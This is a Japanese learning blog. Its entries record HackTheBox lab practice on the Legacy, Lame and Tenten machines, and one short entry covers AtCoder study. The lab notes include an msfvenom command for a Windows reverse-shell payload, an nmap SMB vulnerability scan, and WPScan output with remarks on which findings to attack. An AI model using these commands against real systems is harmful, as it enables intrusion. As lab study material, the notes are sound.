HackTheBox頑張る その23 ～LegacyのWriteUpで有用そうなアプローチをメモ
今回は、マシンLegacyに関して。
またWriteUpを見ていきます
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
■【HackTheBox】Legacy - Walkthrough - - Qiita
Windowsのユーザ確認
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
■Legacy | Hackthebox OSCP series | Spenge's Cybersecurity Blog
OSCPライクに、MSFを使用しない攻略
SMBのポートを発見した後、nmapを用いた脆弱性スキャンをする
nmap --script smb-vuln* -p 139,445 10.10.10.14
meterperterを用いないペイロードの作成(msfvenom)
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode
NOPS?
あとで確認
But we may not forget the comment in the exploit telling us the decoder needs enough NOPS at the beginning for the decoder to work!
→NOPSについての説明を見つけた
参考：
shellcode - NOPS in Metasploit - Information Security Stack Exchange
In assembly code, NOP is short for No OPeration. This is most popularly known for x86 chips as 0x90. When a processor loads that instruction, it simply does nothing (at least useful) for the one cycle and then advances the register to the next instruction.
NOPs keep the payload sizes consistent
... by ensuring that any space not used by other code will still be validly executable by the processor with no side effects. This "NOP sled" is also the source of humorous names like DEFCON 19 CTF winners European Nopsled Team.
The practical importance of this has to do with writing instruction jumps. Jumps can either be of a relative jump (read the memory 8 bytes before where you are now) or of an absolute jump (read the memory located at position 0x874710). If you move data around at all with an absolute jump, you must recode any references to it. If you move one instruction around relative to another, you must also recode the relative jumps. Putting NOPs in simplifies the problem because a jump that lands anywhere in a series of NOPs will continue on to the first executable instruction and prevent the processor from reading an invalid code that would stop execution and crash the software.
Most prevalently, if you know the pointer for the stack will point somewhere in a continuos range of memory addresses, you'd fill that with NOPs and then put your code after.
Check out this shellcode writing tutorial that explains when it makes use of NOPs to gain better understanding.
→つまり、何もしない命令を含めてペイロードの長さを調節するものってことでいいかな？？？？
今回も色々収穫ありました！
以上。
HackTheBox頑張る その22～LameのWriteUpで有用そうなアプローチをメモ
以前から、攻略済マシンについてWriteUpを色々見て、
知らないアプローチ方法についてはチートシートに記載するなどして進めていきたい。
今回は、LameというマシンのWriteUpを確認した。
HackTheBoxの各マシンの紹介ページには、WriteUpがアップロードできる。
見ていった内容をメモ
・・・と思ったら、５０個以上あるんですね・・・
とりあえず最初の数十個だけでも見るぞ！
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
追記内容
■【HackTheBox】Lame - Walkthrough - - Qiita
SMBの匿名接続
kali@kali:~$ rpcclient -U "" lame.htb Enter WORKGROUP\'s password: Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT
LinEnumの紹介と使い方
GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
kali@kali:~$ rpcclient -U "" lame.htb Enter WORKGROUP\'s password: Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT
GTOFbinsの紹介
GTFOBins
うーん。
v_avengerさんの記事だけ学ぶことがいっぱいある・・・
さすがと言わざるを得ない・・・
特に
・LinEnum
・シェルのアップグレード
・GTOFbins
についてはもうちょっとしっかり学びたい。
以上
AtCoderで理解が必要な内容を学ぶ ～データ構造
先日、友人とAtCoderについて話していて、
色々と前提となる考え方が足りないことがわかったので、
調べつつ、簡単なものから頭に入れるようにしていこうと思います。
話にあがったのが、データ構造のUnion-Findについて。
あとで検索してみると、以前読んでいた記事にもしっかり書いてありました。
レッドコーダーが教える、競プロ・AtCoder上達のガイドライン【中級編：目指せ水色コーダー！】 - Qiita
上記の記事では、
グラフ、木、Union-Findの３つが挙げられていました。
よって、今回はこれらデータ構造について学びます。
次から分けて記載。
8月が終わる
8月が終わっちゃう…
8月にかかげた目標はなんだったか、確認してみます。
…
と思ったら、目標設定してないやんけ！
思えばちょこちょこAtCoderProblemsやってた気がします。
最近ちゃんと解けなくなってるのは、
だんだん解法について知識が追いつかなくなってるからと予想。
新しいやり方を取り入れていかないと、
どうにもこうにもいかない気がします。
一方で、HackTheBoxも課金を続けているけどなんとなーくでしかできてない。
夜、寝る前にやってたのが眠くてできてなかったんですよねぇ。
攻略済みのマシンのWriteUpを確認して、
自分にない手法を取り入れねば。
結局、今の自分に必要なのはアウトプットではなく、インプットなんだろうなって。
意識してやってみようと思います。
以上
HackTheBox頑張る その21 ～WPのplugin(job-manager)とその内容
攻略中のマシンで出てきたWordPressの脆弱性
Plugin job-manager 0.7.25に存在
参考：https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-job-manager-security-bypass-0-7-25/
CVE-2015-6668
WordPress Plugin Job Manager Security Bypass (0.7.25) - Vulnerabilities - Acunetix
一部を引用する
WordPress Plugin Job Manager is prone to a security bypass vulnerability. Exploiting this issue may allow attackers to perform otherwise restricted actions and subsequently enumerate and access the uploaded CV files by performing a bruteforce attack on the WordPress upload directory structure. WordPress Plugin Job Manager version 0.7.25 is vulnerable; prior versions may also be affected.
さらに、元のリファレンス
[CVE-2015-6668] CV filename disclosure on Job-Manager WP plugin
あとで読む
HackTheBox頑張る その20 ～WPScanについて
攻略中のマシンがWord-Press使ってたので、WPScanを試してみた
実行した結果と、何が記載されているか確認した
kali@kali:~/SyachinekoLab/workspace/HTB/Tenten$ wpscan --url 10.10.10.10
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.4
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://10.10.10.10/ [10.10.10.10]
[+] Started: Sat Aug 29 02:59:55 2020
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.10.10.10/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://10.10.10.10/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.10.10/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
| Found By: Rss Generator (Passive Detection)
| - http://10.10.10.10/index.php/feed/, <generator>https://wordpress.org/?v=4.7.3</generator>
| - http://10.10.10.10/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.3</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://10.10.10.10/wp-content/themes/twentyseventeen/
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://10.10.10.10/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://10.10.10.10/wp-content/themes/twentyseventeen/style.css?ver=4.7.3
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.10.10/wp-content/themes/twentyseventeen/style.css?ver=4.7.3, Match: 'Version: 1.1'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] job-manager
| Location: http://10.10.10.10/wp-content/plugins/job-manager/
| Latest Version: 0.7.25 (up to date)
| Last Updated: 2015-08-25T22:44:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 7.2.5 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.10/wp-content/plugins/job-manager/readme.txt
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <============================================================================> (21 / 21) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
[+] Finished: Sat Aug 29 03:00:03 2020
[+] Requests Done: 23
[+] Cached Requests: 35
[+] Data Sent: 5.14 KB
[+] Data Received: 3.911 KB
[+] Memory used: 182.262 MB
[+] Elapsed time: 00:00:08
順に見ていく
[+] Headers | Interesting Entry: Server: Apache/2.4.18 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100%
ヘッダー情報
今回はApache 2.4.18
Confidenceで確率を記載している？
[+] XML-RPC seems to be enabled: http://10.10.10.10/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
xmlrpc.phpというファイルの存在を確認し、XML-RPCが動いていることを検知している？
これについては別で調べることにする
[+] http://10.10.10.10/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
readme.htmlがあることを検知
WPのバージョンと、使用方法が記載されている
通常は削除すべきファイル？
[+] The external WP-Cron seems to be enabled: http://10.10.10.10/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
WP-cronが動作していることを検知
wpcronについては別で調べることにする
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06). | Found By: Rss Generator (Passive Detection) | - http://10.10.10.10/index.php/feed/, <generator>https://wordpress.org/?v=4.7.3</generator> | - http://10.10.10.10/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.3</generator>
WordPress Ver. 4.7.3であることを検知
[+] WordPress theme in use: twentyseventeen | Location: http://10.10.10.10/wp-content/themes/twentyseventeen/ | Last Updated: 2020-08-11T00:00:00.000Z | Readme: http://10.10.10.10/wp-content/themes/twentyseventeen/README.txt | [!] The version is out of date, the latest version is 2.4 | Style URL: http://10.10.10.10/wp-content/themes/twentyseventeen/style.css?ver=4.7.3 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.1 (80% confidence) | Found By: Style (Passive Detection) | - http://10.10.10.10/wp-content/themes/twentyseventeen/style.css?ver=4.7.3, Match: 'Version: 1.1'
使用されているWPのテーマがtwentyseventeen Ver. 1.1であることが検知されている
ここから脆弱性を調べることもできるはず
[+] Enumerating All Plugins (via Passive Methods) [+] Checking Plugin Versions (via Passive and Aggressive Methods) [i] Plugin(s) Identified: [+] job-manager | Location: http://10.10.10.10/wp-content/plugins/job-manager/ | Latest Version: 0.7.25 (up to date) | Last Updated: 2015-08-25T22:44:00.000Z | | Found By: Urls In Homepage (Passive Detection) | | Version: 7.2.5 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://10.10.10.10/wp-content/plugins/job-manager/readme.txt
プラグインについて調査を行い、job-manager Ver. 7.2.5が使用されていることを検知
[+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:01 <============================================================================> (21 / 21) 100.00% Time: 00:00:01 [i] No Config Backups Found. [!] No WPVulnDB API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up [+] Finished: Sat Aug 29 03:00:03 2020 [+] Requests Done: 23 [+] Cached Requests: 35 [+] Data Sent: 5.14 KB [+] Data Received: 3.911 KB [+] Memory used: 182.262 MB [+] Elapsed time: 00:00:08
その他は特に情報なし
この結果を見ると、以下の情報から攻めるといいか？
・WordPress Ver. 4.7.3
・Theme twentyseventeen Ver. 1.1
・plungin job-manager Ver. 7.2.5
以上
